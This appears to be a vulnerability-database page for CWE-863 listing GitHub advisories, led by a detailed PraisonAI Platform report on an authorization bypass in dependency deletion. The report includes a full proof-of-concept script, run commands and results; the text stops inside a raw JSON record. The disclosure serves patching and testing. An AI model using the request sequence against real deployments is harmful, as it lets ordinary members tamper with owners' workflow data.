Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

7172 vulnerabilities reference this CWE, most recent first.

GHSA-MXGX-9CVP-M653

Vulnerability from github – Published: 2025-01-09 21:31 – Updated: 2025-01-14 18:31
VLAI
Details

Incorrect Authorization vulnerability in Drupal OhDear Integration allows Forceful Browsing.This issue affects OhDear Integration: from 0.0.0 before 2.0.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13290"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-09T21:15:26Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect Authorization vulnerability in Drupal OhDear Integration allows Forceful Browsing.This issue affects OhDear Integration: from 0.0.0 before 2.0.4.",
  "id": "GHSA-mxgx-9cvp-m653",
  "modified": "2025-01-14T18:31:55Z",
  "published": "2025-01-09T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13290"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2024-056"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXJ6-X52W-4G7M

Vulnerability from github – Published: 2025-06-02 03:30 – Updated: 2025-06-02 18:30
VLAI
Details

In wlan AP driver, there is a possible way to inject arbitrary packet due to a missing permission check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00413202; Issue ID: MSV-3303.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-20674"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-02T03:15:24Z",
    "severity": "CRITICAL"
  },
  "details": "In wlan AP driver, there is a possible way to inject arbitrary packet due to a missing permission check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00413202; Issue ID: MSV-3303.",
  "id": "GHSA-mxj6-x52w-4g7m",
  "modified": "2025-06-02T18:30:42Z",
  "published": "2025-06-02T03:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20674"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/June-2025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXJF-259R-3R76

Vulnerability from github – Published: 2026-02-08 00:30 – Updated: 2026-02-11 00:30
VLAI
Details

WeKan versions prior to 8.19 contain an authorization logic vulnerability where the instance configuration setting allowPrivateOnly is not sufficiently enforced at board creation time. When allowPrivateOnly is enabled, users can still create public boards due to incomplete server-side enforcement.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-25568"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-07T22:16:02Z",
    "severity": "HIGH"
  },
  "details": "WeKan versions prior to 8.19 contain an authorization logic vulnerability where the instance configuration setting allowPrivateOnly is not sufficiently enforced at board creation time. When allowPrivateOnly is enabled, users can still create public boards due to incomplete server-side enforcement.",
  "id": "GHSA-mxjf-259r-3r76",
  "modified": "2026-02-11T00:30:14Z",
  "published": "2026-02-08T00:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25568"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wekan/wekan/commit/7ed76c180ede46ab1dac6b8ad27e9128a272c2c8"
    },
    {
      "type": "WEB",
      "url": "https://wekan.fi"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/wekan-allowprivateonly-setting-enforcement-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MXMX-RH57-JX58

Vulnerability from github – Published: 2026-10-07 14:28 – Updated: 2026-10-07 14:28
VLAI
Summary
PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues
Details

Platform members can delete owner issue dependencies through member-owned related issues

Summary

praisonai-platform issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue.

Technical Details

The affected boundary is the difference between ordinary workspace membership and owner/admin authority over destructive changes to owner-created issue workflow state. src/praisonai-platform/praisonai_platform/api/routes/dependencies.py defines DELETE /workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}. The route first verifies that the URL issue_id is in the workspace, loads the dependency by dep_id, and accepts the dependency when either dep.issue_id == issue_id or dep.depends_on_issue_id == issue_id. It then calls require_delete_permission(workspace_id, user, session, resource_owner_id=issue.creator_id) for the URL issue only.

src/praisonai-platform/praisonai_platform/api/deps.py implements require_delete_permission as "admin/owner or resource owner". That helper is appropriate when the protected resource has a single owner, but the dependency route lets the caller choose either side of the relationship before the helper runs. If an owner-created issue is related to a member-owned issue, the member can select the member-owned issue in the URL, satisfy resource_owner_id == user.id, and delete the dependency edge that is also returned from the owner-created issue's dependency list.

The same route family also lets any workspace member create dependency edges on owner-created issues with only require_workspace_member. POST /workspaces/{workspace_id}/issues/{issue_id}/dependencies/ verifies that both issues are in the workspace, then calls DependencyService.create(issue_id, body.depends_on_issue_id, body.type) without checking owner/admin authority over the primary issue. This report focuses on the stronger delete-guard bypass because the current owner issue endpoint returns 403 while the related member issue endpoint deletes the same edge with 204.

The intended boundary is visible from the local controls: a member deleting an owner-only dependency through an owner issue endpoint returns 403, an owner deleting the same dependency returns 204, and a non-member creating a dependency returns 403. The vulnerability is the endpoint-selection path where the member uses a related member-owned issue as the URL issue to delete an owner-side dependency edge.

PoV

the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and a non-member, creates one owner-owned issue and one member-owned issue in the same workspace, creates a dependency from the owner issue to the member issue, then exercises the dependency delete route through both issue endpoints.

Essential excerpt:

dep_resp = await client.post(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
    json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
    headers=owner_headers,
)
dep_id = dep_resp.json()["id"]

member_delete_owner_endpoint = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}",
    headers=member_headers,
)

member_delete_member_endpoint = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}",
    headers=member_headers,
)

owner_list_after_member_delete = await client.get(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
    headers=owner_headers,
)

The full PoV script is included in the appendix below as pov_platform_dependency_delete_bypass.py.

PoC

Current head tested:

846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17 20:13:04 +0100
chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --repo ./PraisonAI --json

Decisive current-head output:

{
  "checks": {
    "member_create_dependency_on_owner_issue": 201,
    "member_delete_member_issue_endpoint": 204,
    "member_delete_owner_issue_endpoint": 403,
    "member_delete_owner_only_dependency": 403,
    "non_member_create_dependency": 403,
    "owner_delete_owner_only_dependency": 204,
    "owner_dependency_count_after_member_delete": 0
  },
  "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
  "vulnerable": true
}

The key vulnerable sequence is member_delete_owner_issue_endpoint == 403, followed by member_delete_member_issue_endpoint == 204 for the same dependency id, followed by owner_dependency_count_after_member_delete == 0.

Run against the latest PyPI package observed during testing:

uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --json

Decisive latest-PyPI output:

{
  "checks": {
    "member_create_dependency_on_owner_issue": 201,
    "member_delete_member_issue_endpoint": 204,
    "member_delete_owner_issue_endpoint": 403,
    "member_delete_owner_only_dependency": 403,
    "non_member_create_dependency": 403,
    "owner_delete_owner_only_dependency": 204,
    "owner_dependency_count_after_member_delete": 0
  },
  "source": "pypi:praisonai-platform==0.1.8",
  "vulnerable": true
}

Version sweep excerpt:

praisonai-platform 0.1.4: member delete through the owner issue endpoint returned 204, so the current endpoint-selection bypass is masked by broader older dependency delete behavior.
praisonai-platform 0.1.6: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.
praisonai-platform 0.1.8: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.

Impact

An ordinary workspace member can remove dependency edges from owner-created issues whenever the dependency also references a member-owned issue. This lets the member remove blocks, blocked_by, or related workflow state that an owner/admin expected to protect planning or execution order. The same route family also allows the member to create dependency edges on owner-created issues, so a member can both add false workflow relationships and remove owner-created relationships through endpoint selection.

Suggested severity: Medium. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (6.5). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges, does not claim confidentiality impact, and treats the consequence as workflow integrity loss rather than code execution.

Suggested Fix

Define authorization for dependency edges explicitly instead of deriving it from the caller-selected URL issue. A straightforward fix is to require delete authority on the primary dep.issue_id issue, regardless of which related issue endpoint was used to address the edge. A stricter fix is to require workspace admin/owner authority or sufficient authority on both related issues before deleting a dependency edge.

For creation, require owner/admin or primary-issue owner authority before creating a dependency edge on an existing issue. This prevents ordinary members from adding dependency state to owner-created issues they do not control.

Add regression tests for these cases: a member cannot delete an owner issue -> member issue dependency through the owner issue endpoint; the same member also cannot delete that dependency through the member issue endpoint; owner/admin callers can delete it; non-members cannot create dependencies; members cannot create dependencies on owner-created issues unless that is an explicitly intended collaboration rule.

Affected Package/Versions

Affected package: pypi:praisonai-platform.

Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.

The owner-side dependency delete bypass is confirmed in sampled versions 0.1.6, 0.1.8, and current head. In 0.1.4, direct member dependency deletes already returned 204, so this narrower bypass is masked by broader older delete authorization behavior.

Suggested affected range for the endpoint-selection delete bypass after delete ownership checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI Platform advisories include dependency endpoint and delete ownership fixes, but the checked public advisories do not appear to cover this same same-workspace endpoint-selection delete authorization bypass on current head.

GHSA-4x6r-9v57-3gqw, "praisonai-platform: Dependency endpoints accept any issue_id and dep_id without workspace ownership check, cross-workspace issue linking + read + delete IDOR", covers older cross-workspace dependency endpoint IDOR behavior in versions <= 0.1.2. This report is distinct because the PoV uses one workspace, both issues are verified inside that workspace, and the non-member control returns 403.

GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers broad member DELETE behavior. This report is distinct because the direct owner issue dependency delete path returns 403 in current head, 0.1.6, and 0.1.8; the delete succeeds only when the same dependency is addressed through the member-owned related issue endpoint.

GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled project_id reference handling and project stats pollution. This report does not rely on project references or cross-workspace ids.

Older cross-workspace object IDOR advisories such as GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover global object ID workspace-boundary failures. This report is scoped to same-workspace owner/admin authorization over dependency edge deletion.

References

  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4x6r-9v57-3gqw
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7
  • https://cwe.mitre.org/data/definitions/862.html
  • https://cwe.mitre.org/data/definitions/863.html

Appendix A - Longer Version Sweep

=== praisonai-platform 0.1.4 ===
"member_delete_owner_issue_endpoint": 204
"member_delete_member_issue_endpoint": 404
"member_delete_owner_only_dependency": 204
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 404
"owner_dependency_count_after_member_delete": 0

=== praisonai-platform 0.1.6 ===
"member_delete_owner_issue_endpoint": 403
"member_delete_member_issue_endpoint": 204
"member_delete_owner_only_dependency": 403
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 204
"owner_dependency_count_after_member_delete": 0

=== praisonai-platform 0.1.8 ===
"member_delete_owner_issue_endpoint": 403
"member_delete_member_issue_endpoint": 204
"member_delete_owner_only_dependency": 403
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 204
"owner_dependency_count_after_member_delete": 0

Appendix B - Full PoV Script

Save this as pov_platform_dependency_delete_bypass.py before running the PoC commands above.

#!/usr/bin/env python3
"""PoV for PraisonAI Platform issue-dependency delete authorization."""

from __future__ import annotations

import argparse
import asyncio
import json
import os
import subprocess
import sys
from pathlib import Path
from typing import Any


def _load_local_source(repo: Path | None) -> None:
    if repo is None:
        return
    platform_root = repo / "src" / "praisonai-platform"
    agents_root = repo / "src" / "praisonai-agents"
    for path in (str(platform_root), str(agents_root)):
        if path not in sys.path:
            sys.path.insert(0, path)


async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
    response = await client.post(
        "/api/v1/auth/register",
        json={"email": email, "password": "Password1!", "name": name},
    )
    if response.status_code >= 400:
        raise RuntimeError(
            f"register failed for {email}: {response.status_code} {response.text}"
        )
    body = response.json()
    return body["token"], body["user"]["id"]


async def _create_issue(
    client: Any,
    workspace_id: str,
    headers: dict[str, str],
    title: str,
) -> str:
    response = await client.post(
        f"/api/v1/workspaces/{workspace_id}/issues/",
        json={"title": title, "priority": "high"},
        headers=headers,
    )
    response.raise_for_status()
    return response.json()["id"]


async def _run(repo: Path | None) -> dict[str, Any]:
    os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
    _load_local_source(repo)

    from httpx import ASGITransport, AsyncClient
    from sqlalchemy.ext.asyncio import create_async_engine

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db import base as base_mod
    from praisonai_platform.db.base import Base, reset_engine

    await reset_engine()
    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )
    base_mod._engine = engine
    base_mod._session_factory = None
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()
    transport = ASGITransport(app=app)
    async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
        owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
        member_token, member_id = await _register(client, "member@example.com", "Member")
        outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")

        owner_headers = {"Authorization": f"Bearer {owner_token}"}
        member_headers = {"Authorization": f"Bearer {member_token}"}
        outsider_headers = {"Authorization": f"Bearer {outsider_token}"}

        ws_resp = await client.post(
            "/api/v1/workspaces/",
            json={"name": "Shared Workspace", "slug": "shared-workspace"},
            headers=owner_headers,
        )
        ws_resp.raise_for_status()
        workspace_id = ws_resp.json()["id"]

        add_member = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={"user_id": member_id, "role": "member"},
            headers=owner_headers,
        )
        add_member.raise_for_status()

        owner_issue_id = await _create_issue(
            client, workspace_id, owner_headers, "Owner-owned blocked issue"
        )
        member_issue_id = await _create_issue(
            client, workspace_id, member_headers, "Member-owned related issue"
        )

        dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
            headers=owner_headers,
        )
        dep_resp.raise_for_status()
        dep_id = dep_resp.json()["id"]

        member_delete_owner_endpoint = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}",
            headers=member_headers,
        )
        member_delete_member_endpoint = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}",
            headers=member_headers,
        )
        owner_list_after_member_delete = await client.get(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            headers=owner_headers,
        )

        owner_issue_b = await _create_issue(
            client, workspace_id, owner_headers, "Owner issue B"
        )
        owner_issue_c = await _create_issue(
            client, workspace_id, owner_headers, "Owner issue C"
        )
        owner_only_dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/",
            json={"depends_on_issue_id": owner_issue_c, "type": "blocks"},
            headers=owner_headers,
        )
        owner_only_dep_resp.raise_for_status()
        owner_only_dep_id = owner_only_dep_resp.json()["id"]
        member_delete_owner_only_dep = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}",
            headers=member_headers,
        )
        owner_delete_owner_only_dep = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}",
            headers=owner_headers,
        )

        outsider_create_dependency = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
            headers=outsider_headers,
        )

        member_created_dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "related"},
            headers=member_headers,
        )
        if member_created_dep_resp.status_code == 201:
            member_created_dep_id = member_created_dep_resp.json()["id"]
            await client.delete(
                f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{member_created_dep_id}",
                headers=owner_headers,
            )

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    dependencies_after_delete = (
        owner_list_after_member_delete.json()
        if owner_list_after_member_delete.status_code == 200
        else None
    )
    checks = {
        "member_delete_owner_issue_endpoint": member_delete_owner_endpoint.status_code,
        "member_delete_member_issue_endpoint": member_delete_member_endpoint.status_code,
        "owner_dependency_count_after_member_delete": (
            len(dependencies_after_delete) if dependencies_after_delete is not None else None
        ),
        "member_delete_owner_only_dependency": member_delete_owner_only_dep.status_code,
        "owner_delete_owner_only_dependency": owner_delete_owner_only_dep.status_code,
        "non_member_create_dependency": outsider_create_dependency.status_code,
        "member_create_dependency_on_owner_issue": member_created_dep_resp.status_code,
    }
    vulnerable = (
        checks["member_delete_owner_issue_endpoint"] == 403
        and checks["member_delete_member_issue_endpoint"] == 204
        and checks["owner_dependency_count_after_member_delete"] == 0
        and checks["member_delete_owner_only_dependency"] == 403
        and checks["owner_delete_owner_only_dependency"] == 204
        and checks["non_member_create_dependency"] == 403
        and checks["member_create_dependency_on_owner_issue"] == 201
    )
    return {
        "package": "praisonai-platform",
        "source": _source_id(repo),
        "workspace_role": "member",
        "summary": (
            "A workspace member can delete a dependency edge that protects an owner-created "
            "issue by addressing the same dependency through a member-owned related issue."
        ),
        "issue_ids": {
            "owner_issue": owner_issue_id,
            "member_issue": member_issue_id,
        },
        "dependency_id": dep_id,
        "checks": checks,
        "vulnerable": vulnerable,
    }


def _source_id(repo: Path | None) -> str:
    if repo is None:
        import importlib.metadata

        return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}"
    rev = subprocess.check_output(
        ["git", "-C", str(repo), "rev-parse", "HEAD"],
        text=True,
    ).strip()
    return f"git:{rev}"


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--repo", type=Path)
    parser.add_argument("--json", action="store_true")
    args = parser.parse_args()

    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))
    if args.json:
        print(json.dumps(result, indent=2, sort_keys=True))
    else:
        for key, value in result["checks"].items():
            print(f"{key}: {value}")
        print(f"vulnerable: {result['vulnerable']}")
    return 0 if result["vulnerable"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T14:28:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Platform members can delete owner issue dependencies through member-owned related issues\n\n## Summary\n\n`praisonai-platform` issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue.\n\n## Technical Details\n\nThe affected boundary is the difference between ordinary workspace membership and owner/admin authority over destructive changes to owner-created issue workflow state. `src/praisonai-platform/praisonai_platform/api/routes/dependencies.py` defines `DELETE /workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}`. The route first verifies that the URL `issue_id` is in the workspace, loads the dependency by `dep_id`, and accepts the dependency when either `dep.issue_id == issue_id` or `dep.depends_on_issue_id == issue_id`. It then calls `require_delete_permission(workspace_id, user, session, resource_owner_id=issue.creator_id)` for the URL issue only.\n\n`src/praisonai-platform/praisonai_platform/api/deps.py` implements `require_delete_permission` as \"admin/owner or resource owner\". That helper is appropriate when the protected resource has a single owner, but the dependency route lets the caller choose either side of the relationship before the helper runs. If an owner-created issue is related to a member-owned issue, the member can select the member-owned issue in the URL, satisfy `resource_owner_id == user.id`, and delete the dependency edge that is also returned from the owner-created issue\u0027s dependency list.\n\nThe same route family also lets any workspace member create dependency edges on owner-created issues with only `require_workspace_member`. `POST /workspaces/{workspace_id}/issues/{issue_id}/dependencies/` verifies that both issues are in the workspace, then calls `DependencyService.create(issue_id, body.depends_on_issue_id, body.type)` without checking owner/admin authority over the primary issue. This report focuses on the stronger delete-guard bypass because the current owner issue endpoint returns `403` while the related member issue endpoint deletes the same edge with `204`.\n\nThe intended boundary is visible from the local controls: a member deleting an owner-only dependency through an owner issue endpoint returns `403`, an owner deleting the same dependency returns `204`, and a non-member creating a dependency returns `403`. The vulnerability is the endpoint-selection path where the member uses a related member-owned issue as the URL issue to delete an owner-side dependency edge.\n\n## PoV\n\nthe PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and a non-member, creates one owner-owned issue and one member-owned issue in the same workspace, creates a dependency from the owner issue to the member issue, then exercises the dependency delete route through both issue endpoints.\n\nEssential excerpt:\n\n```python\ndep_resp = await client.post(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n    json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n    headers=owner_headers,\n)\ndep_id = dep_resp.json()[\"id\"]\n\nmember_delete_owner_endpoint = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}\",\n    headers=member_headers,\n)\n\nmember_delete_member_endpoint = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}\",\n    headers=member_headers,\n)\n\nowner_list_after_member_delete = await client.get(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n    headers=owner_headers,\n)\n```\n\nThe full PoV script is included in the appendix below as `pov_platform_dependency_delete_bypass.py`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17 20:13:04 +0100\nchore: clean up redundant \u0027persist-credentials\u0027 entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_dependency_delete_bypass.py --repo ./PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"checks\": {\n    \"member_create_dependency_on_owner_issue\": 201,\n    \"member_delete_member_issue_endpoint\": 204,\n    \"member_delete_owner_issue_endpoint\": 403,\n    \"member_delete_owner_only_dependency\": 403,\n    \"non_member_create_dependency\": 403,\n    \"owner_delete_owner_only_dependency\": 204,\n    \"owner_dependency_count_after_member_delete\": 0\n  },\n  \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"vulnerable\": true\n}\n```\n\nThe key vulnerable sequence is `member_delete_owner_issue_endpoint == 403`, followed by `member_delete_member_issue_endpoint == 204` for the same dependency id, followed by `owner_dependency_count_after_member_delete == 0`.\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with \u0027praisonai-platform==0.1.8\u0027 --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_dependency_delete_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n  \"checks\": {\n    \"member_create_dependency_on_owner_issue\": 201,\n    \"member_delete_member_issue_endpoint\": 204,\n    \"member_delete_owner_issue_endpoint\": 403,\n    \"member_delete_owner_only_dependency\": 403,\n    \"non_member_create_dependency\": 403,\n    \"owner_delete_owner_only_dependency\": 204,\n    \"owner_dependency_count_after_member_delete\": 0\n  },\n  \"source\": \"pypi:praisonai-platform==0.1.8\",\n  \"vulnerable\": true\n}\n```\n\nVersion sweep excerpt:\n\n```text\npraisonai-platform 0.1.4: member delete through the owner issue endpoint returned 204, so the current endpoint-selection bypass is masked by broader older dependency delete behavior.\npraisonai-platform 0.1.6: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.\npraisonai-platform 0.1.8: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.\n```\n\n## Impact\n\nAn ordinary workspace member can remove dependency edges from owner-created issues whenever the dependency also references a member-owned issue. This lets the member remove `blocks`, `blocked_by`, or `related` workflow state that an owner/admin expected to protect planning or execution order. The same route family also allows the member to create dependency edges on owner-created issues, so a member can both add false workflow relationships and remove owner-created relationships through endpoint selection.\n\nSuggested severity: Medium. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (6.5). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges, does not claim confidentiality impact, and treats the consequence as workflow integrity loss rather than code execution.\n\n## Suggested Fix\n\nDefine authorization for dependency edges explicitly instead of deriving it from the caller-selected URL issue. A straightforward fix is to require delete authority on the primary `dep.issue_id` issue, regardless of which related issue endpoint was used to address the edge. A stricter fix is to require workspace admin/owner authority or sufficient authority on both related issues before deleting a dependency edge.\n\nFor creation, require owner/admin or primary-issue owner authority before creating a dependency edge on an existing issue. This prevents ordinary members from adding dependency state to owner-created issues they do not control.\n\nAdd regression tests for these cases: a member cannot delete an owner issue -\u003e member issue dependency through the owner issue endpoint; the same member also cannot delete that dependency through the member issue endpoint; owner/admin callers can delete it; non-members cannot create dependencies; members cannot create dependencies on owner-created issues unless that is an explicitly intended collaboration rule.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe owner-side dependency delete bypass is confirmed in sampled versions `0.1.6`, `0.1.8`, and current head. In 